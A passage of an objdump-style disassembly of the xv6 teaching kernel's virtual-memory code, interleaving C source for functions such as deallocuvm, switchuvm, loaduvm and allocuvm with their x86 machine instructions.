%ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 80106aa6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106aac: 89 c7 mov %eax,%edi uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 80106aae: 81 e3 00 f0 ff ff and $0xfffff000,%ebx // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106ab4: 83 ec 1c sub $0x1c,%esp 80106ab7: 89 4d e0 mov %ecx,-0x20(%ebp) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 80106aba: 39 d3 cmp %edx,%ebx 80106abc: 73 66 jae 80106b24 <deallocuvm.part.0+0x84> 80106abe: 89 d6 mov %edx,%esi 80106ac0: eb 3d jmp 80106aff <deallocuvm.part.0+0x5f> 80106ac2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106ac8: 8b 10 mov (%eax),%edx 80106aca: f6 c2 01 test $0x1,%dl 80106acd: 74 26 je 80106af5 <deallocuvm.part.0+0x55> pa = PTE_ADDR(*pte); if(pa == 0) 80106acf: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106ad5: 74 58 je 80106b2f <deallocuvm.part.0+0x8f> panic("kfree"); char *v = P2V(pa); kfree(v); 80106ad7: 83 ec 0c sub $0xc,%esp 80106ada: 81 c2 00 00 00 80 add $0x80000000,%edx 80106ae0: 89 45 e4 mov %eax,-0x1c(%ebp) 80106ae3: 52 push %edx 80106ae4: e8 e7 b7 ff ff call 801022d0 <kfree> *pte = 0; 80106ae9: 8b 45 e4 mov -0x1c(%ebp),%eax 80106aec: 83 c4 10 add $0x10,%esp 80106aef: c7 00 00 00 00 00 movl $0x0,(%eax) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 80106af5: 81 c3 00 10 00 00 add $0x1000,%ebx 80106afb: 39 f3 cmp %esi,%ebx 80106afd: 73 25 jae 80106b24 <deallocuvm.part.0+0x84> pte = walkpgdir(pgdir, (char*)a, 0); 80106aff: 31 c9 xor %ecx,%ecx 80106b01: 89 da mov %ebx,%edx 80106b03: 89 f8 mov %edi,%eax 80106b05: e8 86 fe ff ff call 80106990 <walkpgdir> if(!pte) 80106b0a: 85 c0 test %eax,%eax 80106b0c: 75 ba jne 80106ac8 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 80106b0e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106b14: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 80106b1a: 81 c3 00 10 00 00 add $0x1000,%ebx 80106b20: 39 f3 cmp %esi,%ebx 80106b22: 72 db jb 80106aff <deallocuvm.part.0+0x5f> kfree(v); *pte = 0; } } return newsz; } 80106b24: 8b 45 e0 mov -0x20(%ebp),%eax 80106b27: 8d 65 f4 lea -0xc(%ebp),%esp 80106b2a: 5b pop %ebx 80106b2b: 5e pop %esi 80106b2c: 5f pop %edi 80106b2d: 5d pop %ebp 80106b2e: c3 ret if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ pa = PTE_ADDR(*pte); if(pa == 0) panic("kfree"); 80106b2f: 83 ec 0c sub $0xc,%esp 80106b32: 68 86 75 10 80 push $0x80107586 80106b37: e8 34 98 ff ff call 80100370 <panic> 80106b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106b40 <seginit>: // Set up CPU's kernel segment descriptors. // Run once on entry on each CPU. void seginit(void) { 80106b40: 55 push %ebp 80106b41: 89 e5 mov %esp,%ebp 80106b43: 83 ec 18 sub $0x18,%esp // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; 80106b46: e8 45 cc ff ff call 80103790 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106b4b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 80106b51: 31 c9 xor %ecx,%ecx 80106b53: ba ff ff ff ff mov $0xffffffff,%edx 80106b58: 66 89 90 f8 27 11 80 mov %dx,-0x7feed808(%eax) 80106b5f: 66 89 88 fa 27 11 80 mov %cx,-0x7feed806(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106b66: ba ff ff ff ff mov $0xffffffff,%edx 80106b6b: 31 c9 xor %ecx,%ecx 80106b6d: 66 89 90 00 28 11 80 mov %dx,-0x7feed800(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106b74: ba ff ff ff ff mov $0xffffffff,%edx // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106b79: 66 89 88 02 28 11 80 mov %cx,-0x7feed7fe(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106b80: 31 c9 xor %ecx,%ecx 80106b82: 66 89 90 08 28 11 80 mov %dx,-0x7feed7f8(%eax) 80106b89: 66 89 88 0a 28 11 80 mov %cx,-0x7feed7f6(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106b90: ba ff ff ff ff mov $0xffffffff,%edx 80106b95: 31 c9 xor %ecx,%ecx 80106b97: 66 89 90 10 28 11 80 mov %dx,-0x7feed7f0(%eax) // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106b9e: c6 80 fc 27 11 80 00 movb $0x0,-0x7feed804(%eax) static inline void lgdt(struct segdesc *p, int size) { volatile ushort pd[3]; pd[0] = size-1; 80106ba5: ba 2f 00 00 00 mov $0x2f,%edx 80106baa: c6 80 fd 27 11 80 9a movb $0x9a,-0x7feed803(%eax) 80106bb1: c6 80 fe 27 11 80 cf movb $0xcf,-0x7feed802(%eax) 80106bb8: c6 80 ff 27 11 80 00 movb $0x0,-0x7feed801(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106bbf: c6 80 04 28 11 80 00 movb $0x0,-0x7feed7fc(%eax) 80106bc6: c6 80 05 28 11 80 92 movb $0x92,-0x7feed7fb(%eax) 80106bcd: c6 80 06 28 11 80 cf movb $0xcf,-0x7feed7fa(%eax) 80106bd4: c6 80 07 28 11 80 00 movb $0x0,-0x7feed7f9(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106bdb: c6 80 0c 28 11 80 00 movb $0x0,-0x7feed7f4(%eax) 80106be2: c6 80 0d 28 11 80 fa movb $0xfa,-0x7feed7f3(%eax) 80106be9: c6 80 0e 28 11 80 cf movb $0xcf,-0x7feed7f2(%eax) 80106bf0: c6 80 0f 28 11 80 00 movb $0x0,-0x7feed7f1(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106bf7: 66 89 88 12 28 11 80 mov %cx,-0x7feed7ee(%eax) 80106bfe: c6 80 14 28 11 80 00 movb $0x0,-0x7feed7ec(%eax) 80106c05: c6 80 15 28 11 80 f2 movb $0xf2,-0x7feed7eb(%eax) 80106c0c: c6 80 16 28 11 80 cf movb $0xcf,-0x7feed7ea(%eax) 80106c13: c6 80 17 28 11 80 00 movb $0x0,-0x7feed7e9(%eax) lgdt(c->gdt, sizeof(c->gdt)); 80106c1a: 05 f0 27 11 80 add $0x801127f0,%eax 80106c1f: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 80106c23: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106c27: c1 e8 10 shr $0x10,%eax 80106c2a: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106c2e: 8d 45 f2 lea -0xe(%ebp),%eax 80106c31: 0f 01 10 lgdtl (%eax) } 80106c34: c9 leave 80106c35: c3 ret 80106c36: 8d 76 00 lea 0x0(%esi),%esi 80106c39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106c40 <switchkvm>: } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 80106c40: a1 84 5c 11 80 mov 0x80115c84,%eax // Switch h/w page table register to the kernel-only page table, // for when no process is running. void switchkvm(void) { 80106c45: 55 push %ebp 80106c46: 89 e5 mov %esp,%ebp 80106c48: 05 00 00 00 80 add $0x80000000,%eax 80106c4d: 0f 22 d8 mov %eax,%cr3 lcr3(V2P(kpgdir)); // switch to the kernel page table } 80106c50: 5d pop %ebp 80106c51: c3 ret 80106c52: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106c59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106c60 <switchuvm>: // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { 80106c60: 55 push %ebp 80106c61: 89 e5 mov %esp,%ebp 80106c63: 57 push %edi 80106c64: 56 push %esi 80106c65: 53 push %ebx 80106c66: 83 ec 1c sub $0x1c,%esp 80106c69: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 80106c6c: 85 f6 test %esi,%esi 80106c6e: 0f 84 cd 00 00 00 je 80106d41 <switchuvm+0xe1> panic("switchuvm: no process"); if(p->kstack == 0) 80106c74: 8b 46 08 mov 0x8(%esi),%eax 80106c77: 85 c0 test %eax,%eax 80106c79: 0f 84 dc 00 00 00 je 80106d5b <switchuvm+0xfb> panic("switchuvm: no kstack"); if(p->pgdir == 0) 80106c7f: 8b 7e 04 mov 0x4(%esi),%edi 80106c82: 85 ff test %edi,%edi 80106c84: 0f 84 c4 00 00 00 je 80106d4e <switchuvm+0xee> panic("switchuvm: no pgdir"); pushcli(); 80106c8a: e8 21 d9 ff ff call 801045b0 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 80106c8f: e8 7c ca ff ff call 80103710 <mycpu> 80106c94: 89 c3 mov %eax,%ebx 80106c96: e8 75 ca ff ff call 80103710 <mycpu> 80106c9b: 89 c7 mov %eax,%edi 80106c9d: e8 6e ca ff ff call 80103710 <mycpu> 80106ca2: 89 45 e4 mov %eax,-0x1c(%ebp) 80106ca5: 83 c7 08 add $0x8,%edi 80106ca8: e8 63 ca ff ff call 80103710 <mycpu> 80106cad: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106cb0: 83 c0 08 add $0x8,%eax 80106cb3: ba 67 00 00 00 mov $0x67,%edx 80106cb8: c1 e8 18 shr $0x18,%eax 80106cbb: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 80106cc2: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 80106cc9: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 80106cd0: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 80106cd7: 83 c1 08 add $0x8,%ecx 80106cda: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) 80106ce0: c1 e9 10 shr $0x10,%ecx 80106ce3: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) mycpu()->gdt[SEG_TSS].s = 0; mycpu()->ts.ss0 = SEG_KDATA << 3; mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; 80106ce9: bb ff ff ff ff mov $0xffffffff,%ebx panic("switchuvm: no pgdir"); pushcli(); mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, sizeof(mycpu()->ts)-1, 0); mycpu()->gdt[SEG_TSS].s = 0; 80106cee: e8 1d ca ff ff call 80103710 <mycpu> 80106cf3: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 80106cfa: e8 11 ca ff ff call 80103710 <mycpu> 80106cff: b9 10 00 00 00 mov $0x10,%ecx 80106d04: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 80106d08: e8 03 ca ff ff call 80103710 <mycpu> 80106d0d: 8b 56 08 mov 0x8(%esi),%edx 80106d10: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 80106d16: 89 48 0c mov %ecx,0xc(%eax) // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; 80106d19: e8 f2 c9 ff ff call 80103710 <mycpu> 80106d1e: 66 89 58 6e mov %bx,0x6e(%eax) } static inline void ltr(ushort sel) { asm volatile("ltr %0" : : "r" (sel)); 80106d22: b8 28 00 00 00 mov $0x28,%eax 80106d27: 0f 00 d8 ltr %ax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 80106d2a: 8b 46 04 mov 0x4(%esi),%eax 80106d2d: 05 00 00 00 80 add $0x80000000,%eax 80106d32: 0f 22 d8 mov %eax,%cr3 ltr(SEG_TSS << 3); lcr3(V2P(p->pgdir)); // switch to process's address space popcli(); } 80106d35: 8d 65 f4 lea -0xc(%ebp),%esp 80106d38: 5b pop %ebx 80106d39: 5e pop %esi 80106d3a: 5f pop %edi 80106d3b: 5d pop %ebp // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; ltr(SEG_TSS << 3); lcr3(V2P(p->pgdir)); // switch to process's address space popcli(); 80106d3c: e9 af d8 ff ff jmp 801045f0 <popcli> // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { if(p == 0) panic("switchuvm: no process"); 80106d41: 83 ec 0c sub $0xc,%esp 80106d44: 68 ba 7c 10 80 push $0x80107cba 80106d49: e8 22 96 ff ff call 80100370 <panic> if(p->kstack == 0) panic("switchuvm: no kstack"); if(p->pgdir == 0) panic("switchuvm: no pgdir"); 80106d4e: 83 ec 0c sub $0xc,%esp 80106d51: 68 e5 7c 10 80 push $0x80107ce5 80106d56: e8 15 96 ff ff call 80100370 <panic> switchuvm(struct proc *p) { if(p == 0) panic("switchuvm: no process"); if(p->kstack == 0) panic("switchuvm: no kstack"); 80106d5b: 83 ec 0c sub $0xc,%esp 80106d5e: 68 d0 7c 10 80 push $0x80107cd0 80106d63: e8 08 96 ff ff call 80100370 <panic> 80106d68: 90 nop 80106d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106d70 <inituvm>: // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80106d70: 55 push %ebp 80106d71: 89 e5 mov %esp,%ebp 80106d73: 57 push %edi 80106d74: 56 push %esi 80106d75: 53 push %ebx 80106d76: 83 ec 1c sub $0x1c,%esp 80106d79: 8b 75 10 mov 0x10(%ebp),%esi 80106d7c: 8b 45 08 mov 0x8(%ebp),%eax 80106d7f: 8b 7d 0c mov 0xc(%ebp),%edi char *mem; if(sz >= PGSIZE) 80106d82: 81 fe ff 0f 00 00 cmp $0xfff,%esi // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80106d88: 89 45 e4 mov %eax,-0x1c(%ebp) char *mem; if(sz >= PGSIZE) 80106d8b: 77 49 ja 80106dd6 <inituvm+0x66> panic("inituvm: more than a page"); mem = kalloc(); 80106d8d: e8 ee b6 ff ff call 80102480 <kalloc> memset(mem, 0, PGSIZE); 80106d92: 83 ec 04 sub $0x4,%esp { char *mem; if(sz >= PGSIZE) panic("inituvm: more than a page"); mem = kalloc(); 80106d95: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106d97: 68 00 10 00 00 push $0x1000 80106d9c: 6a 00 push $0x0 80106d9e: 50 push %eax 80106d9f: e8 ec d9 ff ff call 80104790 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 80106da4: 58 pop %eax 80106da5: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106dab: b9 00 10 00 00 mov $0x1000,%ecx 80106db0: 5a pop %edx 80106db1: 6a 06 push $0x6 80106db3: 50 push %eax 80106db4: 31 d2 xor %edx,%edx 80106db6: 8b 45 e4 mov -0x1c(%ebp),%eax 80106db9: e8 52 fc ff ff call 80106a10 <mappages> memmove(mem, init, sz); 80106dbe: 89 75 10 mov %esi,0x10(%ebp) 80106dc1: 89 7d 0c mov %edi,0xc(%ebp) 80106dc4: 83 c4 10 add $0x10,%esp 80106dc7: 89 5d 08 mov %ebx,0x8(%ebp) } 80106dca: 8d 65 f4 lea -0xc(%ebp),%esp 80106dcd: 5b pop %ebx 80106dce: 5e pop %esi 80106dcf: 5f pop %edi 80106dd0: 5d pop %ebp if(sz >= PGSIZE) panic("inituvm: more than a page"); mem = kalloc(); memset(mem, 0, PGSIZE); mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); memmove(mem, init, sz); 80106dd1: e9 6a da ff ff jmp 80104840 <memmove> inituvm(pde_t *pgdir, char *init, uint sz) { char *mem; if(sz >= PGSIZE) panic("inituvm: more than a page"); 80106dd6: 83 ec 0c sub $0xc,%esp 80106dd9: 68 f9 7c 10 80 push $0x80107cf9 80106dde: e8 8d 95 ff ff call 80100370 <panic> 80106de3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106de9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106df0 <loaduvm>: // Load a program segment into pgdir. addr must be page-aligned // and the pages from addr to addr+sz must already be mapped. int loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz) { 80106df0: 55 push %ebp 80106df1: 89 e5 mov %esp,%ebp 80106df3: 57 push %edi 80106df4: 56 push %esi 80106df5: 53 push %ebx 80106df6: 83 ec 0c sub $0xc,%esp uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) 80106df9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106e00: 0f 85 91 00 00 00 jne 80106e97 <loaduvm+0xa7> panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ 80106e06: 8b 75 18 mov 0x18(%ebp),%esi 80106e09: 31 db xor %ebx,%ebx 80106e0b: 85 f6 test %esi,%esi 80106e0d: 75 1a jne 80106e29 <loaduvm+0x39> 80106e0f: eb 6f jmp 80106e80 <loaduvm+0x90> 80106e11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106e18: 81 c3 00 10 00 00 add $0x1000,%ebx 80106e1e: 81 ee 00 10 00 00 sub $0x1000,%esi 80106e24: 39 5d 18 cmp %ebx,0x18(%ebp) 80106e27: 76 57 jbe 80106e80 <loaduvm+0x90> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80106e29: 8b 55 0c mov 0xc(%ebp),%edx 80106e2c: 8b 45 08 mov 0x8(%ebp),%eax 80106e2f: 31 c9 xor %ecx,%ecx 80106e31: 01 da add %ebx,%edx 80106e33: e8 58 fb ff ff call 80106990 <walkpgdir> 80106e38: 85 c0 test %eax,%eax 80106e3a: 74 4e je 80106e8a <loaduvm+0x9a> panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); 80106e3c: 8b 00 mov (%eax),%eax if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) 80106e3e: 8b 4d 14 mov 0x14(%ebp),%ecx panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); if(sz - i < PGSIZE) 80106e41: bf 00 10 00 00 mov $0x1000,%edi if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); 80106e46: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) 80106e4b: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106e51: 0f 46 fe cmovbe %esi,%edi n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) 80106e54: 01 d9 add %ebx,%ecx 80106e56: 05 00 00 00 80 add $0x80000000,%eax 80106e5b: 57 push %edi 80106e5c: 51 push %ecx 80106e5d: 50 push %eax 80106e5e: ff 75 10 pushl 0x10(%ebp) 80106e61: e8 da aa ff ff call 80101940 <readi> 80106e66: 83 c4 10 add $0x10,%esp 80106e69: 39 c7 cmp %eax,%edi 80106e6b: 74 ab je 80106e18 <loaduvm+0x28> return -1; } return 0; } 80106e6d: 8d 65 f4 lea -0xc(%ebp),%esp if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) return -1; 80106e70: b8 ff ff ff ff mov $0xffffffff,%eax } return 0; } 80106e75: 5b pop %ebx 80106e76: 5e pop %esi 80106e77: 5f pop %edi 80106e78: 5d pop %ebp 80106e79: c3 ret 80106e7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106e80: 8d 65 f4 lea -0xc(%ebp),%esp else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) return -1; } return 0; 80106e83: 31 c0 xor %eax,%eax } 80106e85: 5b pop %ebx 80106e86: 5e pop %esi 80106e87: 5f pop %edi 80106e88: 5d pop %ebp 80106e89: c3 ret if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); 80106e8a: 83 ec 0c sub $0xc,%esp 80106e8d: 68 13 7d 10 80 push $0x80107d13 80106e92: e8 d9 94 ff ff call 80100370 <panic> { uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); 80106e97: 83 ec 0c sub $0xc,%esp 80106e9a: 68 b4 7d 10 80 push $0x80107db4 80106e9f: e8 cc 94 ff ff call 80100370 <panic> 80106ea4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106eaa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106eb0 <allocuvm>: // Allocate page tables and physical memory to grow process from oldsz to // newsz, which need not be page aligned. Returns new size or 0 on error. int allocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80106eb0: 55 push %ebp 80106eb1: 89 e5 mov %esp,%ebp 80106eb3: 57 push %edi 80106eb4: 56 push %esi 80106eb5: 53 push %ebx 80106eb6: 83 ec 0c sub $0xc,%esp 80106eb9: 8b 7d 10 mov 0x10(%ebp),%edi char *mem; uint a; if(newsz >= KERNBASE) 80106ebc: 85 ff test %edi,%edi 80106ebe: 0f 88 ca 00 00 00 js 80106f8e <allocuvm+0xde> return 0; if(newsz < oldsz) 80106ec4: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 80106ec7: 8b 45 0c mov 0xc(%ebp),%eax char *mem; uint a; if(newsz >= KERNBASE) return 0; if(newsz < oldsz) 80106eca: 0f 82 82 00 00 00 jb 80106f52 <allocuvm+0xa2> return oldsz; a = PGROUNDUP(oldsz); 80106ed0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106ed6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 80106edc: 39 df cmp %ebx,%edi 80106ede: 77 43 ja 80106f23 <allocuvm+0x73> 80106ee0: e9 bb 00 00 00 jmp 80106fa0 <allocuvm+0xf0> 80106ee5: 8d 76 00 lea 0x0(%esi),%esi if(mem == 0){ cprintf("allocuvm out of memory\n"); deallocuvm(pgdir, newsz, oldsz); return 0; } memset(mem, 0, PGSIZE); 80106ee8: 83 ec 04 sub $0x4,%esp 80106eeb: 68 00 10 00 00 push $0x1000 80106ef0: 6a 00 push $0x0 80106ef2: 50 push %eax 80106ef3: e8 98 d8 ff ff call 80104790 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 80106ef8: 58 pop %eax 80106ef9: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106eff: b9 00 10 00 00 mov $0x1000,%ecx 80106f04: 5a pop %edx 80106f05: 6a 06 push $0x6 80106f07: 50 push %eax 80106f08: 89 da mov %ebx,%edx 80106f0a: 8b 45 08 mov 0x8(%ebp),%eax 80106f0d: e8 fe fa ff ff call 80106a10 <mappages> 80106f12: 83 c4 10 add $0x10,%esp 80106f15: 85 c0 test %eax,%eax 80106f17: 78 47 js 80106f60 <allocuvm+0xb0> return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 80106f19: 81 c3 00 10 00 00 add $0x1000,%ebx 80106f1f: 39 df cmp %ebx,%edi 80106f21: 76 7d jbe 80106fa0 <allocuvm+0xf0> mem = kalloc(); 80106f23: e8 58 b5 ff ff call 80102480 <kalloc> if(mem == 0){ 80106f28: 85 c0 test %eax,%eax if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ mem = kalloc(); 80106f2a: 89 c6 mov %eax,%esi if(mem == 0){ 80106f2c: 75 ba jne 80106ee8 <allocuvm+0x38> cprintf("allocuvm out of memory\n"); 80106f2e: 83 ec 0c sub $0xc,%esp 80106f31: 68 31 7d 10 80 push $0x80107d31 80106f36: e8 25 97 ff ff call 80100660 <cprintf> deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106f3b: 83 c4 10 add $0x10,%esp 80106f3e: 3b 7d 0c cmp 0xc(%ebp),%edi 80106f41: 76 4b jbe 80106f8e <allocuvm+0xde> 80106f43: 8b 4d 0c mov 0xc(%ebp),%ecx 80106f46: 8b 45 08 mov 0x8(%ebp),%eax 80106f49: 89 fa mov %edi,%edx 80106f4b: e8 50 fb ff ff call 80106aa0 <deallocuvm.part.0> for(; a < newsz; a += PGSIZE){ mem = kalloc(); if(mem == 0){ cprintf("allocuvm out of memory\n"); deallocuvm(pgdir, newsz, oldsz); return 0; 80106f50: 31 c0 xor %eax,%eax kfree(mem); return 0; } } return newsz; } 80106f52: 8d 65 f4 lea -0xc(%ebp),%esp 80106f55: 5b pop %ebx 80106f56: 5e pop %esi 80106f57: 5f pop %edi 80106f58: 5d pop %ebp 80106f59: c3 ret 80106f5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi deallocuvm(pgdir, newsz, oldsz); return 0; } memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); 80106f60: 83 ec 0c sub $0xc,%esp 80106f63: 68 49 7d 10 80 push $0x80107d49 80106f68: e8 f3 96 ff ff call 80100660 <cprintf> deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106f6d: 83 c4 10 add $0x10,%esp 80106f70: 3b 7d 0c cmp 0xc(%ebp),%edi 80106f73: 76 0d jbe 80106f82 <allocuvm+0xd2> 80106f75: 8b 4d 0c mov 0xc(%ebp),%ecx 80106f78: 8b 45 08 mov 0x8(%ebp),%eax 80106f7b: 89 fa mov %edi,%edx 80106f7d: e8 1e fb ff ff call 80106aa0 <deallocuvm.part.0> } memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); deallocuvm(pgdir, newsz, oldsz); kfree(mem); 80106f82: 83 ec 0c sub $0xc,%esp 80106f85: 56 push %esi 80106f86: e8 45 b3 ff ff call 801022d0 <kfree> return 0; 80106f8b: 83 c4 10 add $0x10,%esp } } return newsz; } 80106f8e: 8d 65 f4 lea -0xc(%ebp),%esp memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); deallocuvm(pgdir, newsz, oldsz); kfree(mem); return 0; 80106f91: 31 c0 xor %eax,%eax } } return newsz; } 80106f93: 5b pop %ebx 80106f94: 5e pop %esi 80106f95: 5f pop 